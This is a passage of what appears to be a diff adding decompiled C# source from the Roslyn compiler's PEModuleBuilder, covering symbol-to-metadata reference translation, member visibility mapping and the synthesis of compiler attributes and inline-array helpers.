INamedTypeReference value2 = (INamedTypeReference)(object)(((object)containingType == null) ? new GenericNamespaceTypeInstanceReference(namedTypeSymbol) : ((!IsGenericType(containingType)) ? ((NamedTypeReference)new GenericNestedTypeInstanceReference(namedTypeSymbol)) : ((NamedTypeReference)new SpecializedGenericNestedTypeInstanceReference(namedTypeSymbol)))); + return (INamedTypeReference)_genericInstanceMap.GetOrAdd(namedTypeSymbol, value2); + } + if (IsGenericType(containingType)) + { + if (_genericInstanceMap.TryGetValue(namedTypeSymbol, out value)) + { + return (INamedTypeReference)value; + } + INamedTypeReference value2 = (INamedTypeReference)(object)new SpecializedNestedTypeReference(namedTypeSymbol); + return (INamedTypeReference)_genericInstanceMap.GetOrAdd(namedTypeSymbol, value2); + } + NamedTypeSymbol nativeIntegerUnderlyingType = namedTypeSymbol.NativeIntegerUnderlyingType; + if ((object)nativeIntegerUnderlyingType != null) + { + namedTypeSymbol = nativeIntegerUnderlyingType; + } + } + return (INamedTypeReference)(((object)_embeddedTypesManagerOpt?.EmbedTypeIfNeedTo(namedTypeSymbol, fromImplements, syntaxNodeOpt, diagnostics)) ?? ((object)namedTypeSymbol.GetCciAdapter())); + } + + private object GetCciAdapter(Symbol symbol) + { + return _genericInstanceMap.GetOrAdd(symbol, (Symbol s) => s.GetCciAdapter()); + } + + private void CheckTupleUnderlyingType(NamedTypeSymbol namedTypeSymbol, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Invalid comparison between Unknown and I4 + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = namedTypeSymbol.BaseTypeNoUseSiteDiagnostics; + if (((object)baseTypeNoUseSiteDiagnostics != null && (int)baseTypeNoUseSiteDiagnostics.SpecialType == 5) || !_reportedErrorTypesMap.Add((TypeSymbol)namedTypeSymbol)) + { + return; + } + Location location = ((syntaxNodeOpt == null) ? NoLocation.Singleton : syntaxNodeOpt.Location); + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + DiagnosticInfo diagnosticInfo = baseTypeNoUseSiteDiagnostics.GetUseSiteInfo().DiagnosticInfo; + if (diagnosticInfo != null && (int)diagnosticInfo.Severity == 3) + { + diagnostics.Add(diagnosticInfo, location); + return; + } + } + diagnostics.Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_PredefinedValueTupleTypeMustBeStruct, namedTypeSymbol.MetadataName), location)); + } + + public static bool IsGenericType(NamedTypeSymbol toCheck) + { + while ((object)toCheck != null) + { + if (toCheck.Arity > 0) + { + return true; + } + toCheck = toCheck.ContainingType; + } + return false; + } + + internal static IGenericParameterReference Translate(TypeParameterSymbol param) + { + if (!param.IsDefinition) + { + throw new InvalidOperationException(string.Format(CSharpResources.GenericParameterDefinition, param.Name)); + } + return (IGenericParameterReference)(object)param.GetCciAdapter(); + } + + internal sealed override ITypeReference Translate(TypeSymbol typeSymbol, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Expected I4, but got Unknown + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + SymbolKind kind = typeSymbol.Kind; + if ((int)kind <= 11) + { + switch (kind - 1) + { + default: + if ((int)kind != 11) + { + break; + } + goto case 3; + case 2: + return Translate(syntaxNodeOpt, diagnostics); + case 0: + return (ITypeReference)(object)Translate((ArrayTypeSymbol)typeSymbol); + case 3: + return (ITypeReference)(object)Translate((NamedTypeSymbol)typeSymbol, syntaxNodeOpt, diagnostics); + case 1: + break; + } + } + else + { + if ((int)kind == 14) + { + return (ITypeReference)(object)Translate((PointerTypeSymbol)typeSymbol); + } + if ((int)kind == 17) + { + return (ITypeReference)(object)Translate((TypeParameterSymbol)typeSymbol); + } + if ((int)kind == 20) + { + return (ITypeReference)(object)Translate((FunctionPointerTypeSymbol)typeSymbol); + } + } + throw ExceptionUtilities.UnexpectedValue((object)typeSymbol.Kind); + } + + internal IFieldReference Translate(FieldSymbol fieldSymbol, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool needDeclaration = false) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Expected O, but got Unknown + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Expected O, but got Unknown + if (!fieldSymbol.IsDefinition) + { + return (IFieldReference)GetCciAdapter(fieldSymbol); + } + if (needDeclaration || !IsGenericType(fieldSymbol.ContainingType)) + { + return (IFieldReference)(((object)((EmbeddedTypesManager)_embeddedTypesManagerOpt)?.EmbedFieldIfNeedTo(fieldSymbol.GetCciAdapter(), syntaxNodeOpt, diagnostics)) ?? ((object)fieldSymbol.GetCciAdapter())); + } + if (_genericInstanceMap.TryGetValue(fieldSymbol, out var value)) + { + return (IFieldReference)value; + } + IFieldReference value2 = (IFieldReference)(object)new SpecializedFieldReference(fieldSymbol); + return (IFieldReference)_genericInstanceMap.GetOrAdd(fieldSymbol, value2); + } + + public static TypeMemberVisibility MemberVisibility(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Expected I4, but got Unknown + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Invalid comparison between Unknown and I4 + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + Accessibility declaredAccessibility = symbol.DeclaredAccessibility; + switch (declaredAccessibility - 1) + { + case 5: + return (TypeMemberVisibility)6; + case 0: + { + NamedTypeSymbol containingType = symbol.ContainingType; + if ((object)containingType != null && (int)containingType.TypeKind == 12) + { + return (TypeMemberVisibility)6; + } + return (TypeMemberVisibility)1; + } + case 3: + if (!symbol.ContainingAssembly.IsInteractive) + { + return (TypeMemberVisibility)3; + } + return (TypeMemberVisibility)6; + case 2: + if ((int)symbol.ContainingType.TypeKind != 12) + { + return (TypeMemberVisibility)4; + } + return (TypeMemberVisibility)6; + case 1: + return (TypeMemberVisibility)2; + case 4: + if (!symbol.ContainingAssembly.IsInteractive) + { + return (TypeMemberVisibility)5; + } + return (TypeMemberVisibility)6; + default: + throw ExceptionUtilities.UnexpectedValue((object)symbol.DeclaredAccessibility); + } + } + + internal sealed override IMethodReference Translate(MethodSymbol symbol, DiagnosticBag diagnostics, bool needDeclaration) + { + return Translate(symbol, null, diagnostics, null, needDeclaration); + } + + internal IMethodReference Translate(MethodSymbol methodSymbol, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, BoundArgListOperator optArgList = null, bool needDeclaration = false) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Invalid comparison between Unknown and I4 + IMethodReference val = Translate(methodSymbol, syntaxNodeOpt, diagnostics, needDeclaration); + if (optArgList != null && optArgList.Arguments.Length > 0) + { + IParameterTypeInformation[] array = (IParameterTypeInformation[])(object)new IParameterTypeInformation[optArgList.Arguments.Length]; + int num = methodSymbol.ParameterCount; + for (int i = 0; i < array.Length; i++) + { + array[i] = (IParameterTypeInformation)(object)new ArgListParameterTypeInformation(num, !optArgList.ArgumentRefKindsOpt.IsDefaultOrEmpty && (int)optArgList.ArgumentRefKindsOpt[i] > 0, ((PEModuleBuilder)this).Translate(optArgList.Arguments[i].Type, syntaxNodeOpt, diagnostics)); + num++; + } + return (IMethodReference)(object)new ExpandedVarargsMethodReference(val, ImmutableArrayExtensions.AsImmutableOrNull(array)); + } + return val; + } + + private IMethodReference Translate(MethodSymbol methodSymbol, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool needDeclaration) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Expected O, but got Unknown + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected O, but got Unknown + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Expected O, but got Unknown + NamedTypeSymbol containingType = methodSymbol.ContainingType; + if ((object)containingType != null && containingType.IsAnonymousType) + { + methodSymbol = AnonymousTypeManager.TranslateAnonymousTypeMethodSymbol(methodSymbol); + } + if (!methodSymbol.IsDefinition) + { + return (IMethodReference)GetCciAdapter(methodSymbol); + } + if (!needDeclaration) + { + bool isGenericMethod = methodSymbol.IsGenericMethod; + bool flag = IsGenericType(containingType); + if (isGenericMethod || flag) + { + if (_genericInstanceMap.TryGetValue(methodSymbol, out var value)) + { + return (IMethodReference)value; + } + IMethodReference value2 = (IMethodReference)(object)((!isGenericMethod) ? new SpecializedMethodReference(methodSymbol) : ((!flag) ? ((MethodReference)new GenericMethodInstanceReference(methodSymbol)) : ((MethodReference)new SpecializedGenericMethodInstanceReference(methodSymbol)))); + return (IMethodReference)_genericInstanceMap.GetOrAdd(methodSymbol, value2); + } + if (methodSymbol is NativeIntegerMethodSymbol { UnderlyingMethod: { } underlyingMethod }) + { + methodSymbol = underlyingMethod; + } + } + if (_embeddedTypesManagerOpt != null) + { + return ((EmbeddedTypesManager)_embeddedTypesManagerOpt).EmbedMethodIfNeedTo(methodSymbol.GetCciAdapter(), syntaxNodeOpt, diagnostics); + } + return (IMethodReference)(object)methodSymbol.GetCciAdapter(); + } + + internal IMethodReference TranslateOverriddenMethodReference(MethodSymbol methodSymbol, CSharpSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected O, but got Unknown + if (IsGenericType(methodSymbol.ContainingType)) + { + if (methodSymbol.IsDefinition) + { + if (_genericInstanceMap.TryGetValue(methodSymbol, out var value)) + { + return (IMethodReference)value; + } + IMethodReference value2 = (IMethodReference)(object)new SpecializedMethodReference(methodSymbol); + return (IMethodReference)_genericInstanceMap.GetOrAdd(methodSymbol, value2); + } + return (IMethodReference)(object)new SpecializedMethodReference(methodSymbol); + } + if (_embeddedTypesManagerOpt != null) + { + return ((EmbeddedTypesManager)_embeddedTypesManagerOpt).EmbedMethodIfNeedTo(methodSymbol.GetCciAdapter(), (SyntaxNode)(object)syntaxNodeOpt, diagnostics); + } + return (IMethodReference)(object)methodSymbol.GetCciAdapter(); + } + + internal ImmutableArray Translate(ImmutableArray @params) + { + if (!@params.Any() || !MustBeWrapped(@params.First())) + { + return StaticCast.From(@params); + } + return TranslateAll(@params); + } + + private static bool MustBeWrapped(ParameterSymbol param) + { + if (param.IsDefinition && ContainerIsGeneric(param.ContainingSymbol)) + { + return true; + } + return false; + } + + private ImmutableArray TranslateAll(ImmutableArray @params) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = @params.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + instance.Add(CreateParameterTypeInformationWrapper(current)); + } + return instance.ToImmutableAndFree(); + } + + private IParameterTypeInformation CreateParameterTypeInformationWrapper(ParameterSymbol param) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Expected O, but got Unknown + if (_genericInstanceMap.TryGetValue(param, out var value)) + { + return (IParameterTypeInformation)value; + } + IParameterTypeInformation value2 = (IParameterTypeInformation)(object)new ParameterTypeInformation(param); + return (IParameterTypeInformation)_genericInstanceMap.GetOrAdd(param, value2); + } + + private static bool ContainerIsGeneric(Symbol container) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)container.Kind != 9 || !((MethodSymbol)container).IsGenericMethod) + { + return IsGenericType(container.ContainingType); + } + return true; + } + + internal ITypeReference Translate(SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + return (ITypeReference)(object)((PEModuleBuilder)this).GetSpecialType((SpecialType)1, syntaxNodeOpt, diagnostics); + } + + internal IArrayTypeReference Translate(ArrayTypeSymbol symbol) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Expected O, but got Unknown + return (IArrayTypeReference)GetCciAdapter(symbol); + } + + internal IPointerTypeReference Translate(PointerTypeSymbol symbol) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Expected O, but got Unknown + return (IPointerTypeReference)GetCciAdapter(symbol); + } + + internal IFunctionPointerTypeReference Translate(FunctionPointerTypeSymbol symbol) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Expected O, but got Unknown + return (IFunctionPointerTypeReference)GetCciAdapter(symbol); + } + + public NamedTypeSymbol SetFixedImplementationType(SourceMemberFieldSymbol field) + { + if (_fixedImplementationTypes == null) + { + Interlocked.CompareExchange(ref _fixedImplementationTypes, new Dictionary(), null); + } + lock (_fixedImplementationTypes) + { + if (_fixedImplementationTypes.TryGetValue(field, out var value)) + { + return value; + } + value = new FixedFieldImplementationType(field); + _fixedImplementationTypes.Add(field, value); + base.AddSynthesizedDefinition(value.ContainingType, (INestedTypeDefinition)(object)value.GetCciAdapter()); + return value; + } + } + + protected override IMethodDefinition CreatePrivateImplementationDetailsStaticConstructor(PrivateImplementationDetails details, SyntaxNode syntaxOpt, DiagnosticBag diagnostics) + { + return (IMethodDefinition)(object)new SynthesizedPrivateImplementationDetailsStaticConstructor(base.SourceModule, details, GetUntranslatedSpecialType((SpecialType)6, syntaxOpt, diagnostics)).GetCciAdapter(); + } + + internal abstract SynthesizedAttributeData SynthesizeEmbeddedAttribute(); + + internal SynthesizedAttributeData SynthesizeIsReadOnlyAttribute(Symbol symbol) + { + if ((object)base.Compilation.SourceModule != symbol.ContainingModule) + { + return null; + } + return TrySynthesizeIsReadOnlyAttribute(); + } + + internal SynthesizedAttributeData SynthesizeRequiresLocationAttribute(ParameterSymbol symbol) + { + if ((object)base.Compilation.SourceModule != symbol.ContainingModule) + { + return null; + } + return TrySynthesizeRequiresLocationAttribute(); + } + + internal SynthesizedAttributeData SynthesizeIsUnmanagedAttribute(Symbol symbol) + { + if ((object)base.Compilation.SourceModule != symbol.ContainingModule) + { + return null; + } + return TrySynthesizeIsUnmanagedAttribute(); + } + + internal SynthesizedAttributeData SynthesizeIsByRefLikeAttribute(Symbol symbol) + { + if ((object)base.Compilation.SourceModule != symbol.ContainingModule) + { + return null; + } + return TrySynthesizeIsByRefLikeAttribute(); + } + + internal SynthesizedAttributeData SynthesizeNullableAttributeIfNecessary(Symbol symbol, byte? nullableContextValue, TypeWithAnnotations type) + { + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + if ((object)base.Compilation.SourceModule != symbol.ContainingModule) + { + return null; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + type.AddNullableTransforms(instance); + SynthesizedAttributeData result; + if (!instance.Any()) + { + result = null; + } + else + { + byte? commonValue = MostCommonNullableValueBuilder.GetCommonValue(instance); + if (commonValue.HasValue) + { + result = SynthesizeNullableAttributeIfNecessary(nullableContextValue, commonValue.GetValueOrDefault()); + } + else + { + NamedTypeSymbol specialType = base.Compilation.GetSpecialType((SpecialType)10); + ArrayTypeSymbol arrayTypeSymbol = ArrayTypeSymbol.CreateSZArray(specialType.ContainingAssembly, TypeWithAnnotations.Create(specialType)); + ImmutableArray immutableArray = ArrayBuilderExtensions.SelectAsArray(instance, (Func)((byte flag, NamedTypeSymbol byteType) => new TypedConstant((ITypeSymbolInternal)(object)byteType, (TypedConstantKind)1, (object)flag)), specialType); + result = SynthesizeNullableAttribute((WellKnownMember)390, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)arrayTypeSymbol, immutableArray))); + } + } + instance.Free(); + return result; + } + + internal SynthesizedAttributeData SynthesizeNullableAttributeIfNecessary(byte? nullableContextValue, byte nullableValue) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + if (nullableValue == nullableContextValue || (!nullableContextValue.HasValue && nullableValue == 0)) + { + return null; + } + NamedTypeSymbol specialType = base.Compilation.GetSpecialType((SpecialType)10); + return SynthesizeNullableAttribute((WellKnownMember)389, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)specialType, (TypedConstantKind)1, (object)nullableValue))); + } + + internal virtual SynthesizedAttributeData SynthesizeNullableAttribute(WellKnownMember member, ImmutableArray arguments) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return base.Compilation.TrySynthesizeAttribute(member, arguments, default(ImmutableArray>), isOptionalUse: true); + } + + internal SynthesizedAttributeData SynthesizeNullableContextAttribute(Symbol symbol, byte value) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + ModuleSymbol sourceModule = base.Compilation.SourceModule; + if ((object)sourceModule != symbol && (object)sourceModule != symbol.ContainingModule) + { + return null; + } + return SynthesizeNullableContextAttribute(ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)base.Compilation.GetSpecialType((SpecialType)10), (TypedConstantKind)1, (object)value))); + } + + internal virtual SynthesizedAttributeData SynthesizeNullableContextAttribute(ImmutableArray arguments) + { + return base.Compilation.TrySynthesizeAttribute((WellKnownMember)391, arguments, default(ImmutableArray>), isOptionalUse: true); + } + + internal SynthesizedAttributeData SynthesizePreserveBaseOverridesAttribute() + { + return base.Compilation.TrySynthesizeAttribute((SpecialMember)126, isOptionalUse: true); + } + + internal SynthesizedAttributeData SynthesizeNativeIntegerAttribute(Symbol symbol, TypeSymbol type) + { + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + if ((object)base.Compilation.SourceModule != symbol.ContainingModule) + { + return null; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CSharpCompilation.NativeIntegerTransformsEncoder.Encode(instance, type); + SynthesizedAttributeData result; + if (instance.Count == 1 && instance[0]) + { + result = SynthesizeNativeIntegerAttribute((WellKnownMember)462, ImmutableArray.Empty); + } + else + { + NamedTypeSymbol specialType = base.Compilation.GetSpecialType((SpecialType)7); + ImmutableArray immutableArray = ArrayBuilderExtensions.SelectAsArray(instance, (Func)((bool flag, NamedTypeSymbol constantType) => new TypedConstant((ITypeSymbolInternal)(object)constantType, (TypedConstantKind)1, (object)flag)), specialType); + ImmutableArray arguments = ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)ArrayTypeSymbol.CreateSZArray(specialType.ContainingAssembly, TypeWithAnnotations.Create(specialType)), immutableArray)); + result = SynthesizeNativeIntegerAttribute((WellKnownMember)463, arguments); + } + instance.Free(); + return result; + } + + internal virtual SynthesizedAttributeData SynthesizeNativeIntegerAttribute(WellKnownMember member, ImmutableArray arguments) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return base.Compilation.TrySynthesizeAttribute(member, arguments, default(ImmutableArray>), isOptionalUse: true); + } + + internal SynthesizedAttributeData SynthesizeScopedRefAttribute(ParameterSymbol symbol, ScopedKind scope) + { + if ((object)base.Compilation.SourceModule != symbol.ContainingModule) + { + return null; + } + return SynthesizeScopedRefAttribute((WellKnownMember)471); + } + + internal virtual SynthesizedAttributeData SynthesizeScopedRefAttribute(WellKnownMember member) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return base.Compilation.TrySynthesizeAttribute(member, default(ImmutableArray), default(ImmutableArray>), isOptionalUse: true); + } + + internal virtual SynthesizedAttributeData SynthesizeRefSafetyRulesAttribute(ImmutableArray arguments) + { + return base.Compilation.TrySynthesizeAttribute((WellKnownMember)472, arguments, default(ImmutableArray>), isOptionalUse: true); + } + + internal bool ShouldEmitNullablePublicOnlyAttribute() + { + if (base.Compilation.GetUsesNullableAttributes()) + { + return base.Compilation.EmitNullablePublicOnly; + } + return false; + } + + internal virtual SynthesizedAttributeData SynthesizeNullablePublicOnlyAttribute(ImmutableArray arguments) + { + return base.Compilation.TrySynthesizeAttribute((WellKnownMember)392, arguments); + } + + protected virtual SynthesizedAttributeData TrySynthesizeIsReadOnlyAttribute() + { + return base.Compilation.TrySynthesizeAttribute((WellKnownMember)394); + } + + protected virtual SynthesizedAttributeData TrySynthesizeRequiresLocationAttribute() + { + return base.Compilation.TrySynthesizeAttribute((WellKnownMember)395); + } + + protected virtual SynthesizedAttributeData TrySynthesizeIsUnmanagedAttribute() + { + return base.Compilation.TrySynthesizeAttribute((WellKnownMember)409); + } + + protected virtual SynthesizedAttributeData TrySynthesizeIsByRefLikeAttribute() + { + return base.Compilation.TrySynthesizeAttribute((WellKnownMember)396); + } + + private void EnsureEmbeddableAttributeExists(EmbeddableAttributes attribute) + { + if ((GetNeedsGeneratedAttributesInternal() & attribute) == 0 && base.Compilation.CheckIfAttributeShouldBeEmbedded(attribute, null, null)) + { + SetNeedsGeneratedAttributes(attribute); + } + } + + internal void EnsureIsReadOnlyAttributeExists() + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.IsReadOnlyAttribute); + } + + internal void EnsureRequiresLocationAttributeExists() + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.RequiresLocationAttribute); + } + + internal void EnsureIsUnmanagedAttributeExists() + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.IsUnmanagedAttribute); + } + + internal void EnsureNullableAttributeExists() + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.NullableAttribute); + } + + internal void EnsureNullableContextAttributeExists() + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.NullableContextAttribute); + } + + internal void EnsureNativeIntegerAttributeExists() + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.NativeIntegerAttribute); + } + + internal void EnsureScopedRefAttributeExists() + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.ScopedRefAttribute); + } + + internal MethodSymbol EnsureThrowSwitchExpressionExceptionExists(SyntaxNode syntaxNode, SyntheticBoundNodeFactory factory, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "ThrowSwitchExpressionException", delegate(SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, SyntheticBoundNodeFactory syntheticBoundNodeFactory) + { + TypeSymbol returnType = syntheticBoundNodeFactory.SpecialType((SpecialType)6); + TypeSymbol paramType = syntheticBoundNodeFactory.SpecialType((SpecialType)1); + return new SynthesizedThrowSwitchExpressionExceptionMethod(sourceModule, privateImplClass, returnType, paramType); + }, factory, diagnostics); + } + + private MethodSymbol EnsurePrivateImplClassMethodExists(SyntaxNode syntaxNode, string methodName, Func createMethodSymbol, TArg arg, DiagnosticBag diagnostics) + { + PrivateImplementationDetails privateImplClass = base.GetPrivateImplClass(syntaxNode, diagnostics); + IMethodDefinition method = privateImplClass.GetMethod(methodName); + if (method != null) + { + return (MethodSymbol)(object)((IReference)method).GetInternalSymbol(); + } + MethodSymbol methodSymbol = createMethodSymbol(base.SourceModule, privateImplClass, arg); + privateImplClass.TryAddSynthesizedMethod((IMethodDefinition)(object)methodSymbol.GetCciAdapter()); + return (MethodSymbol)(object)((IReference)privateImplClass.GetMethod(methodName)).GetInternalSymbol(); + } + + internal MethodSymbol EnsureThrowSwitchExpressionExceptionParameterlessExists(SyntaxNode syntaxNode, SyntheticBoundNodeFactory factory, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "ThrowSwitchExpressionExceptionParameterless", delegate(SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, SyntheticBoundNodeFactory syntheticBoundNodeFactory) + { + TypeSymbol returnType = syntheticBoundNodeFactory.SpecialType((SpecialType)6); + return new SynthesizedParameterlessThrowMethod(sourceModule, privateImplClass, returnType, "ThrowSwitchExpressionExceptionParameterless", syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)455)); + }, factory, diagnostics); + } + + internal MethodSymbol EnsureThrowInvalidOperationExceptionExists(SyntaxNode syntaxNode, SyntheticBoundNodeFactory factory, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "ThrowInvalidOperationException", delegate(SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, SyntheticBoundNodeFactory syntheticBoundNodeFactory) + { + TypeSymbol returnType = syntheticBoundNodeFactory.SpecialType((SpecialType)6); + return new SynthesizedParameterlessThrowMethod(sourceModule, privateImplClass, returnType, "ThrowInvalidOperationException", syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)453)); + }, factory, diagnostics); + } + + internal MethodSymbol EnsureInlineArrayAsSpanExists(SyntaxNode syntaxNode, NamedTypeSymbol spanType, NamedTypeSymbol intType, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "InlineArrayAsSpan", (SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, (NamedTypeSymbol spanType, NamedTypeSymbol intType) arg) => new SynthesizedInlineArrayAsSpanMethod(sourceModule, privateImplClass, "InlineArrayAsSpan", arg.spanType, arg.intType), (spanType, intType), diagnostics); + } + + internal NamedTypeSymbol EnsureInlineArrayTypeExists(SyntaxNode syntaxNode, SyntheticBoundNodeFactory factory, int arrayLength, DiagnosticBag diagnostics) + { + string text = GeneratedNames.MakeSynthesizedInlineArrayName(arrayLength, ((CommonPEModuleBuilder)this).CurrentGenerationOrdinal); + PrivateImplementationDetails privateImplClass = base.GetPrivateImplClass(syntaxNode, diagnostics); + INamespaceTypeDefinition synthesizedType = privateImplClass.GetSynthesizedType(text); + if (synthesizedType == null) + { + MethodSymbol inlineArrayAttributeConstructor = (MethodSymbol)factory.SpecialMember((SpecialMember)127); + SynthesizedInlineArrayTypeSymbol synthesizedInlineArrayTypeSymbol = new SynthesizedInlineArrayTypeSymbol(base.SourceModule, text, arrayLength, inlineArrayAttributeConstructor); + privateImplClass.TryAddSynthesizedType((INamespaceTypeDefinition)(object)synthesizedInlineArrayTypeSymbol.GetCciAdapter()); + synthesizedType = privateImplClass.GetSynthesizedType(text); + } + return (NamedTypeSymbol)(object)((IReference)synthesizedType).GetInternalSymbol(); + } + + internal NamedTypeSymbol EnsureReadOnlyListTypeExists(SyntaxNode syntaxNode, bool hasKnownLength, DiagnosticBag diagnostics) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + string text = GeneratedNames.MakeSynthesizedReadOnlyListName(hasKnownLength, ((CommonPEModuleBuilder)this).CurrentGenerationOrdinal); + PrivateImplementationDetails privateImplClass = base.GetPrivateImplClass(syntaxNode, diagnostics); + INamespaceTypeDefinition synthesizedType = privateImplClass.GetSynthesizedType(text); + NamedTypeSymbol namedTypeSymbol; + if (synthesizedType == null) + { + namedTypeSymbol = SynthesizedReadOnlyListTypeSymbol.Create(base.SourceModule, text, hasKnownLength); + privateImplClass.TryAddSynthesizedType((INamespaceTypeDefinition)(object)namedTypeSymbol.GetCciAdapter()); + synthesizedType = privateImplClass.GetSynthesizedType(text); + } + namedTypeSymbol = (NamedTypeSymbol)(object)((IReference)synthesizedType).GetInternalSymbol(); + DiagnosticInfo diagnosticInfo = namedTypeSymbol.GetUseSiteInfo().DiagnosticInfo; + if (diagnosticInfo != null) + { + Symbol.ReportUseSiteDiagnostic(diagnosticInfo, diagnostics, syntaxNode.Location); + } + return namedTypeSymbol; + } + + internal MethodSymbol EnsureInlineArrayAsReadOnlySpanExists(SyntaxNode syntaxNode, NamedTypeSymbol spanType, NamedTypeSymbol intType, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "InlineArrayAsReadOnlySpan", (SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, (NamedTypeSymbol spanType, NamedTypeSymbol intType) arg) => new SynthesizedInlineArrayAsReadOnlySpanMethod(sourceModule, privateImplClass, "InlineArrayAsReadOnlySpan", arg.spanType, arg.intType), (spanType, intType), diagnostics); + } + + internal MethodSymbol EnsureInlineArrayElementRefExists(SyntaxNode syntaxNode, NamedTypeSymbol intType, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "InlineArrayElementRef", (SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, NamedTypeSymbol intType2) => new SynthesizedInlineArrayElementRefMethod(sourceModule, privateImplClass, "InlineArrayElementRef", intType2), intType, diagnostics); + } + + internal MethodSymbol EnsureInlineArrayElementRefReadOnlyExists(SyntaxNode syntaxNode, NamedTypeSymbol intType, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "InlineArrayElementRefReadOnly", (SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, NamedTypeSymbol intType2) => new SynthesizedInlineArrayElementRefReadOnlyMethod(sourceModule, privateImplClass, "InlineArrayElementRefReadOnly", intType2), intType, diagnostics); + } + + internal MethodSymbol 